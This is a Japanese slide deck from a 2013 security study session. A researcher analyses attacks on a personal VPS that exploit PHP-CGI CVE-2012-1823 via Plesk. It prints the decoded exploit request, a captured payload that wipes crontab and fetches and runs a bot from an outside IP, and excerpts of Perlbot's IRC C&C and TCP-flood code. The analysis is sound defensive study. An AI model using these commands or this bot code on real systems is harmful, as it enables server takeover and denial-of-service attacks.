Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
さくらのVPSに来た、いろ
いろアタック観察記
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 1
"GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404...
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 2
• @ozuma5119
• ネット企業でセキュリティサービスを
やっているエンジニア
• http://d.hatena.ne.jp/ozuma/
• 科学写真家(と名...
はじめに
• この中で話すこと
– OSやミドルウェアの脆弱性とかよくITニュース
サイトに載ってるけど、放っておくとどうなる
の?
• 今日話さないこと
– セキュアなサーバ構築の具体的手法、など
– それはまぁ、色々と教科書的なものがあるの...
話すことの概要
• 個人で借りているさくらのVPSにいろいろ
来るので、その攻撃を観察してみた
– 悪いことしてる人たちがどうしようとしてい
るかが、なんとなくかいま見えた。ので誰か
に言いたくなった
• ボットネット。
– クラウド流行りで世...
ボットネット?
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 5
「ボットネットからの保護」http://www.microsoft.com/ja-jp/security/pc-security/botnet.aspx ...
ボットネットのクラウド化
• ボットネット自体は7,8年くらい前から登
場している
• 一般ユーザのPCをマルウェア感染させ、
ボットネットに組み込んでいる
– ボットネットはIRCを使って、C&C(コマンド&
コントロール)サーバから指示を受...
こんなん見ました・その1
• サーバ管理ソフトPlesk Panelの脆弱性を
放っておくとどうなるか。
– PHPの脆弱性でもあるんだけど
– /phppath/php のおはなし
さくらのVPSに来たいろいろアタック観察記 (@ozuma5...
最近よく見るhttpdのログ
• みなさんも見ましたか。見てませんか。
• あちこちのWebサーバ複数で同じリクエス
トが見られたので、相当広範囲にスキャ
ンしてたようです
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) ...
ちなみにリクエスト元は
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 9
アクセス日時 ソースIP 逆引きしたホスト名 国名
01/Jul/2013:01:30:21 74.208.202.77
u16950462.on...
まずはリクエストされたパスを
分かりやすくする
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 10
66.160.128.164 - - [31/Jul/2013:18:46:17 +0900] "POST
/%70%6...
見やすくすると
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 11
POST /phppath/php?-d allow_url_include=on
-d safe_mode=off
-d suhosin.simula...
Parallels Plesk Panel 9
• サーバ管理のWebツールとして広く利用さ
れており、Apache+PHPが同梱されている
• 以下のような設定がhttpd.confに設定され
ている豪快なつくり
– ScriptAlias ...
CVE-2012-1823 脆弱性
• CGI版PHPの脆弱性
• PHPのオプションとしてGETパラメタがそ
のまま渡ってしまう
• Plesk Panel 9のPHPにもこの脆弱性アリ
さくらのVPSに来たいろいろアタック観察記 (@ozu...
CVE-2012-1823 脆弱性その2
• オプションを組み合わせると、POSTリク
エストのbody部をそのままサーバ上でPHP
スクリプトとして実行できてしまう
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 14
...
CVE-2012-1823 脆弱性その3
• つまり以下のような感じのPOSTを投げつ
けるだけで、お好きなPHPスクリプトを
サーバ上で実行させることができる
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 15
POS...
何を実行しようとしている?
• ということは、このアクセスも、悪い人
がサーバで実行しようとしているPHPスク
リプト本体がPOSTされてきているのだろ
う
– それは見てみたい!
• アクセスログだけ見ていてもつまらない
ので、tcpdump...
待つこと数日、ktkr
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 17
脆弱性スキャンされている
• "___2pac" という文字列をechoしているだけ
• おそらくレスポンスボディにこの文字列があ
るサーバをスキャンして探しているのだろう
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) ...
脆弱性があるフリをしてみる
• POSTされたら上記CGIにRewriteする。(ち
なみにサーバにPHPはインストールすらし
てない)
• これで悪い人は「脆弱性あり」と判断し
て、続けて本番の攻撃スクリプトを送り
込んでくるはず →→ 来た...
攻撃は0.5秒後
• 1行目が"___2pac"をechoさせるPHPをPOST
• 2行目が本番の攻撃スクリプト
• 脆弱性アリと判断後、1秒も経たずに攻撃
– しかも攻撃元の 210.188.206.176はSAKURA Internet
...
POSTされた攻撃スクリプト
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 21
<?php
echo "Content-Type:text/htmlrnrn";
echo "OKn";
system("crontab ...
脱線:crontab –r の恐怖
• crontab –e と間違えて crontab –r すると、何
の警告もなく全てが消え失せる
– crontab –e 禁止令を出す人もいる (/etc/crontabだ
け使う)
さくらのVPSに来...
さらに攻撃スクリプトをダウン
ロードしている
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 23
<?php
echo "Content-Type:text/htmlrnrn";
echo "OKn";
system("...
bpn - Perlbot抜粋
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 24
#!/usr/bin/perl
my $processo
=("suid","/usr/sbin/sshd","rpc.idmapd",...
ダウンロードしたbpn
• これはPerlBotとか言われてる有名なもの
– しかしソースコードは稚拙な部分も多い
• ボットネットのC&C(コマンド&コントロー
ル)サーバにIRC接続し、指示を待つ
• 興味ある方は以下へ置いてあります
– ...
Perlbot抜粋 その2
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 26
sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $port...
Perlbot抜粋 その3
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 27
sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,...
Perlbot概要
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 28
• C&Cサーバから以下のような感じで指令を
受けてDoS攻撃をする
– IRCの指定されたチャンネルに接続する
– 指令者のnickから攻撃先の指...
C&Cサーバを覗いてみると
• Perlbotスクリプトで指定されていたC&C
サーバを覗いてみる(危険)
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 29
$ telnet 209.20.83.28 53
Tryin...
今回の攻撃のまとめ
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 30
攻撃を追ってみて分かったこと
• 最終目的はサーバを乗っ取ってボット
ネットに組み込むこと(そしてよそを攻
撃すること)
• 脆弱性スキャン役、攻撃役、スクリプト
配布役、制御役(C&Cサーバ)、全てが別
サーバで[分業]されている
• それぞ...
Perlbot (bpn)に見る小ネタ
• せっかくなので、さっき仕込まれそうに
なったbpnスクリプト(Perlbot)のソース
コードを読んでみて、そこから学ぶこと
はないか
– ポジティブシンキングしよう。
さくらのVPSに来たいろいろア...
Perlbotに見る小ネタ1
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 33
#!/usr/bin/perl
my $processo
=("suid","/usr/sbin/sshd","rpc.idmapd","...
$0 に値を入れないと
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 34
Perlスクリプト実行中なことがバレバレ
$0 に値を入れると
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 35
psコマンドの出力が$0の値に化けて見つか
りにくい
$0 に値を入れる(FreeBSD)
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 36
ちなみにFreeBSDだと後ろに (perl5.x.x) が
付くのでバレバレです
Perlbotに見る小ネタ2
• シグナルをトラップしている
– 簡単にkillできないようになっている
• Perlでは%SIGに'IGNORE'とすると、該当シ
グナルを無視することができる
– すなわちkill –KILLでしか終了できな...
Perlでのシグナル操作
• ちなみにこんな感じでkillを受け取ったら
実行されるサブルーチンも設定できる
– 作業ファイルを操作するとか。
– これがまっとうな使い方
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 3...
Perlでのシグナル操作
• ちなみにこういうのを調べるときはうま
くmanとperldocを使いましょう
– すぐにググらずまずは公式ドキュメントを。
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 39
$ perld...
Perlbotに見る小ネタ3
• サーバを$serverじゃなくて$servidorと書い
ている
• 他にも $porta, $versao, $processo など
• スペイン語かポルトガル語っぽいけど
どっち?
– これどっちも似てい...
攻撃スクリプトに透けてみえる
「中の人」
• スペイン語かポルトガル語かは、Version,
port, あたりを見ると分かりやすい
– Perlbotはポルトガル語のようです
• 元のソースを書いた「中の人」を想像す
ることで、悪い人の姿がち...
Upcoming SlideShare
Loading in …5
×

さくらのVPSに来た攻撃観察記

20,667 views

Published on

個人で借りているさくらのVPSに色々とアタックが来るので、観察してみました。

2013/09/16の、「すみだITセキュリティ勉強会その1」の発表資料。
http://atnd.org/events/42977

Published in: News & Politics
  • Be the first to comment

さくらのVPSに来た攻撃観察記

  1. 1. さくらのVPSに来た、いろ いろアタック観察記 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 1 "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 318 "-" "ZmEu" "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 "-" "ZmEu" "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 305 "-" "ZmEu" "GET /pma/scripts/setup.php HTTP/1.1" 404 298 "-" "ZmEu" 66.160.128.164 - - [31/Jul/2013:18:46:17 +0900] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%7 7%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%6 4+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73 %75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E% 3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63 %74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%6 1%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F% 5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A %2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 288 "-" "-" 2013/10/6 すみだITセキュリティ勉強会 @ozuma5119
  2. 2. さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 2 • @ozuma5119 • ネット企業でセキュリティサービスを やっているエンジニア • http://d.hatena.ne.jp/ozuma/ • 科学写真家(と名乗っている) 自己紹介
  3. 3. はじめに • この中で話すこと – OSやミドルウェアの脆弱性とかよくITニュース サイトに載ってるけど、放っておくとどうなる の? • 今日話さないこと – セキュアなサーバ構築の具体的手法、など – それはまぁ、色々と教科書的なものがあるのでこ こでわざわざ話すこと無いかな、と…… – でも普通の教科書にはほとんど載ってない話をす るので楽しんでいただけると。思います。たぶん。 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 3 LPIC 「Linuxセキュリティ標準教科書」 http://www.lpi.or.jp/linuxtext/security.shtml
  4. 4. 話すことの概要 • 個人で借りているさくらのVPSにいろいろ 来るので、その攻撃を観察してみた – 悪いことしてる人たちがどうしようとしてい るかが、なんとなくかいま見えた。ので誰か に言いたくなった • ボットネット。 – クラウド流行りで世界中にとてもたくさんの 「野良サーバ」ができたので、悪い人達は、 うひょうひょ言いながら狙ってる さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 4
  5. 5. ボットネット? さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 5 「ボットネットからの保護」http://www.microsoft.com/ja-jp/security/pc-security/botnet.aspx より引用
  6. 6. ボットネットのクラウド化 • ボットネット自体は7,8年くらい前から登 場している • 一般ユーザのPCをマルウェア感染させ、 ボットネットに組み込んでいる – ボットネットはIRCを使って、C&C(コマンド& コントロール)サーバから指示を受け取る • ボットネット構成マシンとして、最近は、 一般ユーザのPCより、性能的にもネット ワーク的にも有利なVPSやクラウドサーバ を狙うものが多い さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 6
  7. 7. こんなん見ました・その1 • サーバ管理ソフトPlesk Panelの脆弱性を 放っておくとどうなるか。 – PHPの脆弱性でもあるんだけど – /phppath/php のおはなし さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 7
  8. 8. 最近よく見るhttpdのログ • みなさんも見ましたか。見てませんか。 • あちこちのWebサーバ複数で同じリクエス トが見られたので、相当広範囲にスキャ ンしてたようです さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 8 66.160.128.164 - - [31/Jul/2013:18:46:17 +0900] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%7 7%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%6 4+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73 %75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E% 3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63 %74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%6 1%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F% 5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A %2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 288 "-" "-"
  9. 9. ちなみにリクエスト元は さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 9 アクセス日時 ソースIP 逆引きしたホスト名 国名 01/Jul/2013:01:30:21 74.208.202.77 u16950462.onlinehome- server.com アメリカ 08/Jul/2013:05:51:32 117.120.2.111 (なし) シンガポール 19/Jul/2013:00:25:47 87.255.55.11 (なし) オランダ 24/Jul/2013:18:06:52 62.148.186.34 62-148-186-34-hosted- by.denit.net オランダ 31/Jul/2013:18:46:17 66.160.128.16 4 (なし) アメリカ 01/Aug/2013:11:01:22 114.141.196.2 8 svr1.gardenexpress.com.au オーストラリ ア 08/Aug/2013:12:17:33 67.205.102.43 bceco.cd カナダ • ざっくり一週間おき? • 中国からは一件も無かった。意外。
  10. 10. まずはリクエストされたパスを 分かりやすくする さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 10 66.160.128.164 - - [31/Jul/2013:18:46:17 +0900] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%7 7%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%6 4+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73 %75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E% 3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63 %74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%6 1%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F% 5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A %2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 288 "-" "-" /phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -n ↓URLデコードします
  11. 11. 見やすくすると さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 11 POST /phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -n • 見やすくするため改行も入れるとこうな る – Parallels Plesk Panelを狙っている – PHPの脆弱性(CVE-2012-1823)を狙っている
  12. 12. Parallels Plesk Panel 9 • サーバ管理のWebツールとして広く利用さ れており、Apache+PHPが同梱されている • 以下のような設定がhttpd.confに設定され ている豪快なつくり – ScriptAlias /phppath/ /usr/bin/ • 同梱されているPHPは古いCGI版PHP – これが悲劇を招く さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 12
  13. 13. CVE-2012-1823 脆弱性 • CGI版PHPの脆弱性 • PHPのオプションとしてGETパラメタがそ のまま渡ってしまう • Plesk Panel 9のPHPにもこの脆弱性アリ さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 13 例)ソースコードがそのまま表示されてしまう http://192.168.1.1/important/apl.php?-s $ man php --syntax-highlight -s Output HTML syntax highlighted source
  14. 14. CVE-2012-1823 脆弱性その2 • オプションを組み合わせると、POSTリク エストのbody部をそのままサーバ上でPHP スクリプトとして実行できてしまう さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 14 /phppath/php?-d allow_url_include=on -d auto_prepend_file=php://input • allow_url_include : 外部からのinclude許可 • auto_prepend_file : 開発時などに用いるパラ メタで、スクリプト実行前に、指定したファ イルをrequireして実行する
  15. 15. CVE-2012-1823 脆弱性その3 • つまり以下のような感じのPOSTを投げつ けるだけで、お好きなPHPスクリプトを サーバ上で実行させることができる さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 15 POST /phppath/php?-d allow_url_include=on -d auto_prepend_file=php://input HTTP/1.1 Host: www.example.org Content-Length: xxxx <?php readfile('/etc/passwd'); ?> 参考URL http://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html
  16. 16. 何を実行しようとしている? • ということは、このアクセスも、悪い人 がサーバで実行しようとしているPHPスク リプト本体がPOSTされてきているのだろ う – それは見てみたい! • アクセスログだけ見ていてもつまらない ので、tcpdumpしてPOSTリクエストのボ ディ部(= 実行しようとしているPHPスクリ プト)を見てみる さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 16
  17. 17. 待つこと数日、ktkr さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 17
  18. 18. 脆弱性スキャンされている • "___2pac" という文字列をechoしているだけ • おそらくレスポンスボディにこの文字列があ るサーバをスキャンして探しているのだろう さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 18 POST /%70%68%70%70%6(省略) HTTP/1.1 Host: 49.212.197.88 Content-Type: application/x-www-form-urlencoded Content-Length: 64 <?php echo "Content-Type:text/htmlrnrn";echo "___2pacn"; ?>
  19. 19. 脆弱性があるフリをしてみる • POSTされたら上記CGIにRewriteする。(ち なみにサーバにPHPはインストールすらし てない) • これで悪い人は「脆弱性あり」と判断し て、続けて本番の攻撃スクリプトを送り 込んでくるはず →→ 来た。 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 19 #!/usr/bin/perl print "Content-Type:text/htmlrnrn"; print "___2pacn";
  20. 20. 攻撃は0.5秒後 • 1行目が"___2pac"をechoさせるPHPをPOST • 2行目が本番の攻撃スクリプト • 脆弱性アリと判断後、1秒も経たずに攻撃 – しかも攻撃元の 210.188.206.176はSAKURA Internet – 偶然? 地理的に近いサーバを自動選択? さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 20 67.205.102.43 - - [08/Aug/2013:12:17:33 +0900] "POST /%70%68(省略) HTTP/1.1" 200 8 "-" "-" 210.188.206.176 - - [08/Aug/2013:12:17:33 +0900] "POST /%70%68(省略) HTTP/1.1" 200 8 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
  21. 21. POSTされた攻撃スクリプト さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 21 <?php echo "Content-Type:text/htmlrnrn"; echo "OKn"; system("crontab -r; cd /tmp; rm -fr bpn*; wget http://188.165.242.15/bpn -q; perl bpn >/dev/null 1>/dev/null 2>/dev/null; rm -fr bpn*"); ?> • system関数内でUNIXコマンドを実行した いようです
  22. 22. 脱線:crontab –r の恐怖 • crontab –e と間違えて crontab –r すると、何 の警告もなく全てが消え失せる – crontab –e 禁止令を出す人もいる (/etc/crontabだ け使う) さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 22 macbook:~ ozuma$ crontab -l 15 * * * * /home/ozuma/bin/hoge.sh 0 9 1 * * /home/ozuma/bin/piyo.sh > /dev/null 2>&1 */5 * * * * /home/ozuma/bin/fuga.sh > /dev/null 2>&1 macbook:~ ozuma$ crontab -r macbook:~ ozuma$ crontab -l crontab: no crontab for ozuma macbook:~ ozuma$
  23. 23. さらに攻撃スクリプトをダウン ロードしている さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 23 <?php echo "Content-Type:text/htmlrnrn"; echo "OKn"; system("crontab -r; cd /tmp; rm -fr bpn*; wget http://188.165.242.15/bpn -q; perl bpn >/dev/null 1>/dev/null 2>/dev/null; rm -fr bpn*"); ?> • そこでこのbpnを手でwgetしてみた 188.165.242.15はOVH SAS(フラ ンスのホスティング業者)
  24. 24. bpn - Perlbot抜粋 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 24 #!/usr/bin/perl my $processo =("suid","/usr/sbin/sshd","rpc.idmapd","auditd","crond","klogd -x"); my @titi = ("index.php?page=","main.php?page="); my $goni = $titi[rand scalar @titi]; my $linas_max='3'; my $sleep='7'; my @adms=("LaCannA","amd-64bit" ); my @hostauth=("lacannabiscaffe.smok","amd.de.lacannabiscaffe.smok"); my @canais=("#coffeeshop"); chop (my $nick = `uname`); my $ircname =("weed"); my $realname = ("mary"); $servidor="209.20.83.28" unless $servidor; my $porta='53'; 209.20.83.28 : Rackspace Hosting (アメリカのホスティング会社) ポート53
  25. 25. ダウンロードしたbpn • これはPerlBotとか言われてる有名なもの – しかしソースコードは稚拙な部分も多い • ボットネットのC&C(コマンド&コントロー ル)サーバにIRC接続し、指示を待つ • 興味ある方は以下へ置いてあります – http://txt2url.com/d532f7a995b287eca6f7f2c527ba0bd5 • SANSの解説記事が参考になります – http://handlers.sans.org/jullrich/perlbot.html さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 25
  26. 26. Perlbot抜粋 その2 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 26 sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; C&Cサーバ接続機能(IRC)
  27. 27. Perlbot抜粋 その3 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 27 sub tcpflooder { my $itime = time; my ($cur_time); my ($ia,$pa,$proto,$j,$l,$t); $ia=inet_aton($_[0]); $pa=sockaddr_in($_[1],$ia); $ftime=$_[2]; $proto=getprotobyname('tcp'); $j=0;$l=0; $cur_time = time - $itime; while ($l<1000){ $cur_time = time - $itime; last if $cur_time >= $ftime; $t="SOCK$l"; socket($t,PF_INET,SOCK_STREAM,$proto); connect($t,$pa)||$j--; $j++;$l++; } DoS攻撃機能
  28. 28. Perlbot概要 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 28 • C&Cサーバから以下のような感じで指令を 受けてDoS攻撃をする – IRCの指定されたチャンネルに接続する – 指令者のnickから攻撃先の指示がIRCのチャッ トで送信されるため、それを元にDoS攻撃を おこなう • なぜIRCなのか? – 多数のクライアントに伝達しやすい – あとはまぁ、「ボットネットの伝統」
  29. 29. C&Cサーバを覗いてみると • Perlbotスクリプトで指定されていたC&C サーバを覗いてみる(危険) さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 29 $ telnet 209.20.83.28 53 Trying 209.20.83.28... Connected to 209-20-83-28.static.cloud-ips.com. Escape character is '^]'. :irc.sudominio.org NOTICE AUTH :*** Looking up your hostname... :irc.sudominio.org NOTICE AUTH :*** Found your hostname
  30. 30. 今回の攻撃のまとめ さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 30
  31. 31. 攻撃を追ってみて分かったこと • 最終目的はサーバを乗っ取ってボット ネットに組み込むこと(そしてよそを攻 撃すること) • 脆弱性スキャン役、攻撃役、スクリプト 配布役、制御役(C&Cサーバ)、全てが別 サーバで[分業]されている • それぞれのサーバはクラウドやVPSなどの 「野良サーバ」が有効活用されている – 昔は一般ユーザのPCが多かったが…… さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 31
  32. 32. Perlbot (bpn)に見る小ネタ • せっかくなので、さっき仕込まれそうに なったbpnスクリプト(Perlbot)のソース コードを読んでみて、そこから学ぶこと はないか – ポジティブシンキングしよう。 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 32
  33. 33. Perlbotに見る小ネタ1 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 33 #!/usr/bin/perl my $processo =("suid","/usr/sbin/sshd","rpc.idmapd","auditd","crond","klogd -x"); ... (省略) ... $0="$processo"."¥0"x16;; • C&Cに接続して常駐するプロセスなので、発 見されにくくするための工夫がある。 • それがPerlの特殊変数 $0 への代入 – なぜセミコロンが2つあるかは謎だ。気にするな
  34. 34. $0 に値を入れないと さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 34 Perlスクリプト実行中なことがバレバレ
  35. 35. $0 に値を入れると さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 35 psコマンドの出力が$0の値に化けて見つか りにくい
  36. 36. $0 に値を入れる(FreeBSD) さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 36 ちなみにFreeBSDだと後ろに (perl5.x.x) が 付くのでバレバレです
  37. 37. Perlbotに見る小ネタ2 • シグナルをトラップしている – 簡単にkillできないようになっている • Perlでは%SIGに'IGNORE'とすると、該当シ グナルを無視することができる – すなわちkill –KILLでしか終了できなくなる さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 37 $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE';
  38. 38. Perlでのシグナル操作 • ちなみにこんな感じでkillを受け取ったら 実行されるサブルーチンも設定できる – 作業ファイルを操作するとか。 – これがまっとうな使い方 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 38 #!/usr/bin/perl ... ... $SIG{'TERM'} = sub { die("Killed by SIGTERM.¥n"); };
  39. 39. Perlでのシグナル操作 • ちなみにこういうのを調べるときはうま くmanとperldocを使いましょう – すぐにググらずまずは公式ドキュメントを。 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 39 $ perldoc –q signal $ perldoc perlfaq8 $ perldoc perlipc $ man –aw signal $ man 7 signal
  40. 40. Perlbotに見る小ネタ3 • サーバを$serverじゃなくて$servidorと書い ている • 他にも $porta, $versao, $processo など • スペイン語かポルトガル語っぽいけど どっち? – これどっちも似ているのでむつかしい – どちらの言語でもサーバはservidorなので区別 できない さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 40 $servidor="209.20.83.28" unless $servidor;
  41. 41. 攻撃スクリプトに透けてみえる 「中の人」 • スペイン語かポルトガル語かは、Version, port, あたりを見ると分かりやすい – Perlbotはポルトガル語のようです • 元のソースを書いた「中の人」を想像す ることで、悪い人の姿がちょっぴり透け て見える気がしませんか。私はします。 さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 41 スペイン語 ポルトガル語 バージョン Versión Versão ポート Puerto Porta

×